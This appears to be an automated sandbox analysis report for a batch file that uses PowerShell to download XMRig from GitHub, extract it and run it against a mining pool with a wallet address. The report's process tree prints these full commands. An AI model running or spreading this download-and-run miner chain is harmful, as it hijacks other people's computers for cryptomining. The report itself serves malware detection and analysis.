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Analysis

  • max time kernel
    1794s
  • max time network
    1788s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22/12/2023, 08:52

General

  • Target

    tesy - Copy (10).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3452
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1340
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:5112

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    0a969659115f4452d25af38313a53c62

    SHA1

    40bb6dd9a6c4e95a28a29a82a0285977b80448d5

    SHA256

    a0b973ef6c0f72eae2f1c6740d7918f45bc34a4909ed7667211928b2c62995d1

    SHA512

    8c68577f249cfd0c38b409c06de4aaa02933d205a31ad851be7e5cc6ae0b4a09566551a343538a5a59eb500576ca1e4ddf62ba850a662abc7c8d239ea3dcd679

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z0eyje02.yt0.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    166KB

    MD5

    1685db00157cab15b445888ae1ed0008

    SHA1

    97345aa98f185c2eaaea51a302262654dd5217c8

    SHA256

    059bad1be977c2953ccbe9d77e05b9827546ae91c74cf8f01a008efaa8a867c3

    SHA512

    871333ce0a53131a7f75f37625c6eacc5f4b571a919a4d9d245a8bac79974378125cc534a103c9a553d1697284ee7fd49a6e91b4228151678b1c81cccd089408

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    132KB

    MD5

    2e47879384ae5e94010e8b25a5006a37

    SHA1

    c1bc0e840e2a8efa9596ebe95e7e76f0bb215feb

    SHA256

    555717a081f1db0e55b062b178b734a4dbecf53b0809d9a2516e3bd58c9ff91a

    SHA512

    11998ab126de7bd5338ff87185abe0dcd3435eb17ce893ed7079c225b33c05e1de27a44a9198b3a5bb8bd4bc736222d9df96d3dd6764cf8136cde90b880a98df

  • memory/1340-62-0x0000018E1BD50000-0x0000018E1BD60000-memory.dmp

    Filesize

    64KB

  • memory/1340-38-0x00007FFF17180000-0x00007FFF17B6C000-memory.dmp

    Filesize

    9.9MB

  • memory/1340-41-0x0000018E1BD50000-0x0000018E1BD60000-memory.dmp

    Filesize

    64KB

  • memory/1340-113-0x00007FFF17180000-0x00007FFF17B6C000-memory.dmp

    Filesize

    9.9MB

  • memory/1340-39-0x0000018E1BD50000-0x0000018E1BD60000-memory.dmp

    Filesize

    64KB

  • memory/1340-76-0x0000018E36180000-0x0000018E36192000-memory.dmp

    Filesize

    72KB

  • memory/1340-89-0x0000018E35DE0000-0x0000018E35DEA000-memory.dmp

    Filesize

    40KB

  • memory/2976-10-0x00000247BB590000-0x00000247BB606000-memory.dmp

    Filesize

    472KB

  • memory/2976-30-0x00007FFF17180000-0x00007FFF17B6C000-memory.dmp

    Filesize

    9.9MB

  • memory/2976-25-0x00000247BB300000-0x00000247BB310000-memory.dmp

    Filesize

    64KB

  • memory/2976-7-0x00000247BB300000-0x00000247BB310000-memory.dmp

    Filesize

    64KB

  • memory/2976-8-0x00000247BB300000-0x00000247BB310000-memory.dmp

    Filesize

    64KB

  • memory/2976-5-0x00007FFF17180000-0x00007FFF17B6C000-memory.dmp

    Filesize

    9.9MB

  • memory/2976-4-0x00000247BB270000-0x00000247BB292000-memory.dmp

    Filesize

    136KB

  • memory/5112-141-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-151-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-118-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-119-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-121-0x000001F7D7330000-0x000001F7D7350000-memory.dmp

    Filesize

    128KB

  • memory/5112-120-0x000001F7D7310000-0x000001F7D7330000-memory.dmp

    Filesize

    128KB

  • memory/5112-122-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-123-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-125-0x000001F7D7330000-0x000001F7D7350000-memory.dmp

    Filesize

    128KB

  • memory/5112-124-0x000001F7D7310000-0x000001F7D7330000-memory.dmp

    Filesize

    128KB

  • memory/5112-126-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-127-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-128-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-129-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-130-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-131-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-132-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-133-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-134-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-135-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-136-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-137-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-138-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-139-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-140-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-116-0x000001F7D57A0000-0x000001F7D57C0000-memory.dmp

    Filesize

    128KB

  • memory/5112-142-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-143-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-144-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-145-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-146-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-147-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-148-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-149-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-150-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-117-0x000001F7D72F0000-0x000001F7D7310000-memory.dmp

    Filesize

    128KB

  • memory/5112-152-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-153-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-154-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-155-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-156-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-157-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-158-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-159-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-160-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-161-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-162-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-163-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-164-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-165-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-166-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-167-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-168-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-169-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-170-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-171-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-172-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-173-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-174-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-175-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-176-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-177-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-178-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-179-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-180-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-181-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-182-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-183-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-184-0x00007FF6CE1C0000-0x00007FF6CECC3000-memory.dmp

    Filesize

    11.0MB